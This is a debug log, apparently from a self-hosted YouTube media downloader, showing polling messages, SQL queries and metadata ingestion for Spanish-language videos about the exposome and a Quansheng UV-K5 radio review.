[debug] Current batch of media processed. Will check again in 1000ms 22:58:19.938 [debug] Current batch of media processed. Will check again in 1000ms 22:58:20.023 [debug] Current batch of media processed. Will check again in 1000ms 22:58:20.939 [debug] Current batch of media processed. Will check again in 1000ms 22:58:21.024 [debug] Current batch of media processed. Will check again in 1000ms 22:58:21.310 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:21.940 [debug] Current batch of media processed. Will check again in 1000ms 22:58:22.025 [debug] Current batch of media processed. Will check again in 1000ms 22:58:22.941 [debug] Current batch of media processed. Will check again in 1000ms 22:58:23.026 [debug] Current batch of media processed. Will check again in 1000ms 22:58:23.942 [debug] Current batch of media processed. Will check again in 1000ms 22:58:24.027 [debug] Current batch of media processed. Will check again in 1000ms 22:58:24.943 [debug] Current batch of media processed. Will check again in 1000ms 22:58:25.028 [debug] Current batch of media processed. Will check again in 1000ms 22:58:25.944 [debug] Current batch of media processed. Will check again in 1000ms 22:58:26.029 [debug] Current batch of media processed. Will check again in 1000ms 22:58:26.945 [debug] Current batch of media processed. Will check again in 1000ms 22:58:27.030 [debug] Current batch of media processed. Will check again in 1000ms 22:58:27.946 [debug] Current batch of media processed. Will check again in 1000ms 22:58:28.031 [debug] Current batch of media processed. Will check again in 1000ms 22:58:28.947 [debug] Current batch of media processed. Will check again in 1000ms 22:58:29.032 [debug] Current batch of media processed. Will check again in 1000ms 22:58:29.948 [debug] Current batch of media processed. Will check again in 1000ms 22:58:30.033 [debug] Current batch of media processed. Will check again in 1000ms 22:58:30.949 [debug] Current batch of media processed. Will check again in 1000ms 22:58:31.034 [debug] Current batch of media processed. Will check again in 1000ms 22:58:31.950 [debug] Current batch of media processed. Will check again in 1000ms 22:58:32.035 [debug] Current batch of media processed. Will check again in 1000ms 22:58:32.951 [debug] Current batch of media processed. Will check again in 1000ms 22:58:33.036 [debug] Current batch of media processed. Will check again in 1000ms 22:58:33.952 [debug] Current batch of media processed. Will check again in 1000ms 22:58:34.037 [debug] Current batch of media processed. Will check again in 1000ms 22:58:34.953 [debug] Current batch of media processed. Will check again in 1000ms 22:58:35.038 [debug] Current batch of media processed. Will check again in 1000ms 22:58:35.954 [debug] Current batch of media processed. Will check again in 1000ms 22:58:36.039 [debug] Current batch of media processed. Will check again in 1000ms 22:58:36.955 [debug] Current batch of media processed. Will check again in 1000ms 22:58:37.040 [debug] Current batch of media processed. Will check again in 1000ms 22:58:37.956 [debug] Current batch of media processed. Will check again in 1000ms 22:58:38.041 [debug] Current batch of media processed. Will check again in 1000ms 22:58:38.957 [debug] Current batch of media processed. Will check again in 1000ms 22:58:39.042 [debug] Current batch of media processed. Will check again in 1000ms 22:58:39.958 [debug] Current batch of media processed. Will check again in 1000ms 22:58:40.043 [debug] Current batch of media processed. Will check again in 1000ms 22:58:40.959 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 2: EXPOSOMA: Descubre el 'Exposoma', el libro de interacciones vitales que impactan nuestra salud. Exploramos factores generales, particulares e interiores que, más allá de la genética, definen nuestro bienestar. ¡Acompáñanos en este revelador análisis! #Exposoma #Salud #Bienestar #Genética #Exposoma #Salud #Bienestar #Genética #MedioAmbiente #FactoresSalud #InteraccionesVitales #CuerpoHumano #Ciencia #DescubreExposoma", "duration" => 40, "filename" => "/downloads/music/IA mí QUÉ/¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!.m4a", "id" => "VcWSAKvXFgw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/VcWSAKvXFgw", "playlist_index" => 17, "timestamp" => 1747753350, "title" => "¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!", "upload_date" => "20250520"} 22:58:40.960 [debug] QUERY OK source="sources" db=0.5ms idle=732.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:58:40.961 [debug] QUERY OK source="sources" db=0.4ms idle=181.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:58:40.962 [debug] QUERY OK source="media_items" db=0.8ms idle=181.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 15:02:30Z], 2] 22:58:40.963 [debug] QUERY OK source="media_items" db=0.9ms idle=183.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 2: EXPOSOMA: Descubre el 'Exposoma', el libro de interacciones vitales que impactan nuestra salud. Exploramos factores generales, particulares e interiores que, más allá de la genética, definen nuestro bienestar. ¡Acompáñanos en este revelador análisis! #Exposoma #Salud #Bienestar #Genética #Exposoma #Salud #Bienestar #Genética #MedioAmbiente #FactoresSalud #InteraccionesVitales #CuerpoHumano #Ciencia #DescubreExposoma", "¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!", "c4cb6862-5f57-46ec-b81e-e3bd65a43db7", 40, false, "VcWSAKvXFgw", "https://www.youtube.com/shorts/VcWSAKvXFgw", 17, "/downloads/music/IA mí QUÉ/¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!.m4a", false, false, true, 2, [], 96, ~U[2025-05-20 15:02:30Z], ~U[2026-02-07 21:58:40Z], ~U[2026-02-07 21:58:40Z], "PARTE 2: EXPOSOMA: Descubre el 'Exposoma', el libro de interacciones vitales que impactan nuestra salud. Exploramos factores generales, particulares e interiores que, más allá de la genética, definen nuestro bienestar. ¡Acompáñanos en este revelador análisis! #Exposoma #Salud #Bienestar #Genética #Exposoma #Salud #Bienestar #Genética #MedioAmbiente #FactoresSalud #InteraccionesVitales #CuerpoHumano #Ciencia #DescubreExposoma", "¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!", 40, false, "VcWSAKvXFgw", "https://www.youtube.com/shorts/VcWSAKvXFgw", "/downloads/music/IA mí QUÉ/¿Qué es el Exposoma? ¡La Clave SECRETA de tu Salud Revelada!.m4a", true, 2, ~U[2025-05-20 15:02:30Z]] 22:58:40.964 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=184.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:58:40.965 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:58:40.966 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1395] 22:58:40.966 [debug] Current batch of media processed. Will check again in 1000ms 22:58:41.044 [debug] Current batch of media processed. Will check again in 1000ms 22:58:41.966 [debug] Current batch of media processed. Will check again in 1000ms 22:58:42.045 [debug] Current batch of media processed. Will check again in 1000ms 22:58:42.967 [debug] Current batch of media processed. Will check again in 1000ms 22:58:43.046 [debug] Current batch of media processed. Will check again in 1000ms 22:58:43.968 [debug] Current batch of media processed. Will check again in 1000ms 22:58:44.047 [debug] Current batch of media processed. Will check again in 1000ms 22:58:44.969 [debug] Current batch of media processed. Will check again in 1000ms 22:58:45.048 [debug] Current batch of media processed. Will check again in 1000ms 22:58:45.970 [debug] Current batch of media processed. Will check again in 1000ms 22:58:46.049 [debug] Current batch of media processed. Will check again in 1000ms 22:58:46.971 [debug] Current batch of media processed. Will check again in 1000ms 22:58:47.050 [debug] Current batch of media processed. Will check again in 1000ms 22:58:47.972 [debug] Current batch of media processed. Will check again in 1000ms 22:58:48.051 [debug] Current batch of media processed. Will check again in 1000ms 22:58:48.973 [debug] Current batch of media processed. Will check again in 1000ms 22:58:49.052 [debug] Current batch of media processed. Will check again in 1000ms 22:58:49.974 [debug] Current batch of media processed. Will check again in 1000ms 22:58:50.053 [debug] Current batch of media processed. Will check again in 1000ms 22:58:50.975 [debug] Current batch of media processed. Will check again in 1000ms 22:58:51.054 [debug] Current batch of media processed. Will check again in 1000ms 22:58:51.312 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:51.976 [debug] Current batch of media processed. Will check again in 1000ms 22:58:52.055 [debug] Current batch of media processed. Will check again in 1000ms 22:58:52.977 [debug] Current batch of media processed. Will check again in 1000ms 22:58:53.056 [debug] Current batch of media processed. Will check again in 1000ms 22:58:53.978 [debug] Current batch of media processed. Will check again in 1000ms 22:58:54.057 [debug] Current batch of media processed. Will check again in 1000ms 22:58:54.979 [debug] Current batch of media processed. Will check again in 1000ms 22:58:55.058 [debug] Current batch of media processed. Will check again in 1000ms 22:58:55.980 [debug] Current batch of media processed. Will check again in 1000ms 22:58:56.059 [debug] Current batch of media processed. Will check again in 1000ms 22:58:56.981 [debug] Current batch of media processed. Will check again in 1000ms 22:58:57.060 [debug] Current batch of media processed. Will check again in 1000ms 22:58:57.982 [debug] Current batch of media processed. Will check again in 1000ms 22:58:58.061 [debug] Current batch of media processed. Will check again in 1000ms 22:58:58.983 [debug] Current batch of media processed. Will check again in 1000ms 22:58:59.062 [debug] Current batch of media processed. Will check again in 1000ms 22:58:59.984 [debug] Current batch of media processed. Will check again in 1000ms 22:59:00.063 [debug] Current batch of media processed. Will check again in 1000ms 22:59:00.141 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:00.985 [debug] Current batch of media processed. Will check again in 1000ms 22:59:01.064 [debug] Current batch of media processed. Will check again in 1000ms 22:59:01.986 [debug] Current batch of media processed. Will check again in 1000ms 22:59:02.065 [debug] Current batch of media processed. Will check again in 1000ms 22:59:02.987 [debug] Current batch of media processed. Will check again in 1000ms 22:59:03.066 [debug] Current batch of media processed. Will check again in 1000ms 22:59:03.988 [debug] Current batch of media processed. Will check again in 1000ms 22:59:04.067 [debug] Current batch of media processed. Will check again in 1000ms 22:59:04.989 [debug] Current batch of media processed. Will check again in 1000ms 22:59:05.068 [debug] Current batch of media processed. Will check again in 1000ms 22:59:05.990 [debug] Current batch of media processed. Will check again in 1000ms 22:59:06.069 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Un análisis personal y crítico del walkie talkie de moda, el Quansheng UV K5, un walkie de bajo coste con amplia recepción.\n\nContenido del video \n---------------------------------\n\n00:00 - Introducción\n00:43 - Intro Canal\n01:00 - Presentación del Walkie\n02:53 - Datos del FCC ID\n04:53 - Chipset BK4819\n10:35 - Inyectando señales al walkie\n20:36 - Analizando potencia y espectro salida\n21:34 - Potencia y armónicos 144 Mhz\n23:00 - Potencia y armónicos 430 Mhz\n24:41 - Potencia y armónicos 350 Mhz\n26:42 - Potencia y armónicos 50 Mhz\n27:55 - Conclusiones\n\n#quansheng #uvk5 #k5 #walkietalkie #radioaficionados #hamradio #tinySA \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1885, "filename" => "/downloads/music/ea3grn/108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO.m4a", "id" => "JE82VqrW0FE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JE82VqrW0FE", "playlist_index" => 73, "timestamp" => 1685833226, "title" => "108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO", "upload_date" => "20230603"} 22:59:06.070 [debug] QUERY OK source="sources" db=0.6ms idle=1290.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:59:06.071 [debug] QUERY OK source="sources" db=0.6ms idle=1291.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:59:06.072 [debug] QUERY OK source="media_items" db=0.8ms idle=1291.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-03 23:00:26Z], 3] 22:59:06.098 [debug] QUERY OK source="media_items" db=25.2ms idle=798.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un análisis personal y crítico del walkie talkie de moda, el Quansheng UV K5, un walkie de bajo coste con amplia recepción.\n\nContenido del video \n---------------------------------\n\n00:00 - Introducción\n00:43 - Intro Canal\n01:00 - Presentación del Walkie\n02:53 - Datos del FCC ID\n04:53 - Chipset BK4819\n10:35 - Inyectando señales al walkie\n20:36 - Analizando potencia y espectro salida\n21:34 - Potencia y armónicos 144 Mhz\n23:00 - Potencia y armónicos 430 Mhz\n24:41 - Potencia y armónicos 350 Mhz\n26:42 - Potencia y armónicos 50 Mhz\n27:55 - Conclusiones\n\n#quansheng #uvk5 #k5 #walkietalkie #radioaficionados #hamradio #tinySA \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO", "fdc4cf65-d0a2-470b-ba2a-ec626f82ac8f", 1885, false, "JE82VqrW0FE", "https://www.youtube.com/watch?v=JE82VqrW0FE", 73, "/downloads/music/ea3grn/108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO.m4a", false, false, false, 3, [], 98, ~U[2023-06-03 23:00:26Z], ~U[2026-02-07 21:59:06Z], ~U[2026-02-07 21:59:06Z], "Un análisis personal y crítico del walkie talkie de moda, el Quansheng UV K5, un walkie de bajo coste con amplia recepción.\n\nContenido del video \n---------------------------------\n\n00:00 - Introducción\n00:43 - Intro Canal\n01:00 - Presentación del Walkie\n02:53 - Datos del FCC ID\n04:53 - Chipset BK4819\n10:35 - Inyectando señales al walkie\n20:36 - Analizando potencia y espectro salida\n21:34 - Potencia y armónicos 144 Mhz\n23:00 - Potencia y armónicos 430 Mhz\n24:41 - Potencia y armónicos 350 Mhz\n26:42 - Potencia y armónicos 50 Mhz\n27:55 - Conclusiones\n\n#quansheng #uvk5 #k5 #walkietalkie #radioaficionados #hamradio #tinySA \nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO", 1885, false, "JE82VqrW0FE", "https://www.youtube.com/watch?v=JE82VqrW0FE", "/downloads/music/ea3grn/108 - PROBANDO WALKIE QUANSHENG UV K5 - UN ANÁLISIS CRÍTICO.m4a", false, 3, ~U[2023-06-03 23:00:26Z]] 22:59:06.099 [debug] QUERY OK source="sources" db=0.6ms idle=318.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:59:06.099 [debug] QUERY OK source="media_profiles" db=0.3ms idle=28.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:59:06.100 [debug] QUERY OK source="media_items" db=0.5ms idle=28.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1450] 22:59:06.101 [debug] Current batch of media processed. Will check again in 1000ms 22:59:06.991 [debug] Current batch of media processed. Will check again in 1000ms 22:59:07.101 [debug] Current batch of media processed. Will check again in 1000ms 22:59:07.992 [debug] Current batch of media processed. Will check again in 1000ms 22:59:08.102 [debug] Current batch of media processed. Will check again in 1000ms 22:59:08.993 [debug] Current batch of media processed. Will check again in 1000ms 22:59:09.103 [debug] Current batch of media processed. Will check again in 1000ms 22:59:09.994 [debug] Current batch of media processed. Will check again in 1000ms 22:59:10.104 [debug] Current batch of media processed. Will check again in 1000ms 22:59:10.995 [debug] Current batch of media processed. Will check again in 1000ms 22:59:11.105 [debug] Current batch of media processed. Will check again in 1000ms 22:59:11.996 [debug] Current batch of media processed. Will check again in 1000ms 22:59:12.106 [debug] Current batch of media processed. Will check again in 1000ms 22:59:12.997 [debug] Current batch of media processed. Will check again in 1000ms 22:59:13.107 [debug] Current batch of media processed. Will check again in 1000ms 22:59:13.998 [debug] Current batch of media processed. Will check again in 1000ms 22:59:14.108 [debug] Current batch of media processed. Will check again in 1000ms 22:59:14.999 [debug] Current batch of media processed. Will check again in 1000ms 22:59:15.109 [debug] Current batch of media processed. Will check again in 1000ms 22:59:16.000 [debug] Current batch of media processed. Will check again in 1000ms 22:59:16.110 [debug] Current batch of media processed. Will check again in 1000ms 22:59:17.001 [debug] Current batch of media processed. Will check again in 1000ms 22:59:17.111 [debug] Current batch of media processed. Will check again in 1000ms 22:59:18.002 [debug] Current batch of media processed. Will check again in 1000ms 22:59:18.112 [debug] Current batch of media processed. Will check again in 1000ms 22:59:19.003 [debug] Current batch of media processed. Will check again in 1000ms 22:59:19.113 [debug] Current batch of media processed. Will check again in 1000ms 22:59:20.004 [debug] Current batch of media processed. Will check again in 1000ms 22:59:20.114 [debug] Current batch of media processed. Will check again in 1000ms 22:59:21.005 [debug] Current batch of media processed. Will check again in 1000ms 22:59:21.115 [debug] Current batch of media processed. Will check again in 1000ms 22:59:21.313 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:22.006 [debug] Current batch of media processed. Will check again in 1000ms 22:59:22.116 [debug] Current batch of media processed. Will check again in 1000ms 22:59:23.011 [debug] Current batch of media processed. Will check again in 1000ms 22:59:23.117 [debug] Current batch of media processed. Will check again in 1000ms 22:59:24.012 [debug] Current batch of media processed. Will check again in 1000ms 22:59:24.118 [debug] Current batch of media processed. Will check again in 1000ms 22:59:25.013 [debug] Current batch of media processed. Will check again in 1000ms 22:59:25.119 [debug] Current batch of media processed. Will check again in 1000ms 22:59:26.014 [debug] Current batch of media processed. Will check again in 1000ms 22:59:26.120 [debug] Current batch of media processed. Will check again in 1000ms 22:59:27.015 [debug] Current batch of media processed. Will check again in 1000ms 22:59:27.121 [debug] Current batch of media processed. Will check again in 1000ms 22:59:28.016 [debug] Current batch of media processed. Will check again in 1000ms 22:59:28.122 [debug] Current batch of media processed. Will check again in 1000ms 22:59:29.017 [debug] Current batch of media processed. Will check again in 1000ms 22:59:29.123 [debug] Current batch of media processed. Will check again in 1000ms 22:59:30.018 [debug] Current batch of media processed. Will check again in 1000ms 22:59:30.124 [debug] Current batch of media processed. Will check again in 1000ms 22:59:31.019 [debug] Current batch of media processed. Will check again in 1000ms 22:59:31.125 [debug] Current batch of media processed. Will check again in 1000ms 22:59:32.020 [debug] Current batch of media processed. Will check again in 1000ms 22:59:32.126 [debug] Current batch of media processed. Will check again in 1000ms 22:59:33.021 [debug] Current batch of media processed. Will check again in 1000ms 22:59:33.127 [debug] Current batch of media processed. Will check again in 1000ms 22:59:34.022 [debug] Current batch of media processed. Will check again in 1000ms 22:59:34.128 [debug] Current batch of media processed. Will check again in 1000ms 22:59:35.023 [debug] Current batch of media processed. Will check again in 1000ms 22:59:35.129 [debug] Current batch of media processed. Will check again in 1000ms 22:59:36.024 [debug] Current batch of media processed. Will check again in 1000ms 22:59:36.130 [debug] Current batch of media processed. Will check again in 1000ms 22:59:37.025 [debug] Current batch of media processed. Will check again in 1000ms 22:59:37.131 [debug] Current batch of media processed. Will check again in 1000ms 22:59:38.026 [debug] Current batch of media processed. Will check again in 1000ms 22:59:38.132 [debug] Current batch of media processed. Will check again in 1000ms 22:59:39.027 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 1: EXPOSOMA: Descubre el 'Exposoma', el libro de todo lo que interactuamos desde el útero hasta el final de nuestras vidas. En este episodio, ¡**exploramos la genética** y desentrañamos los misterios del Exposoma! ¡No te lo pierdas! #Exposoma #Genética #Salud #Bienestar #MedioAmbiente #Ciencia #Descubrimiento #Interacción #PodcastSalud #CalidadDeVida", "duration" => 41, "filename" => "/downloads/music/IA mí QUÉ/¿Exposoma? ¡Desde la cuna a la tumba! 🤯.m4a", "id" => "eehrR47gzyw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/eehrR47gzyw", "playlist_index" => 18, "timestamp" => 1747735771, "title" => "¿Exposoma? ¡Desde la cuna a la tumba! 🤯", "upload_date" => "20250520"} 22:59:39.028 [debug] QUERY OK source="sources" db=0.5ms idle=1248.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:59:39.029 [debug] QUERY OK source="sources" db=0.4ms idle=1249.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:59:39.030 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1249.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 10:09:31Z], 2] 22:59:39.035 [debug] QUERY OK source="media_items" db=4.7ms idle=693.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON 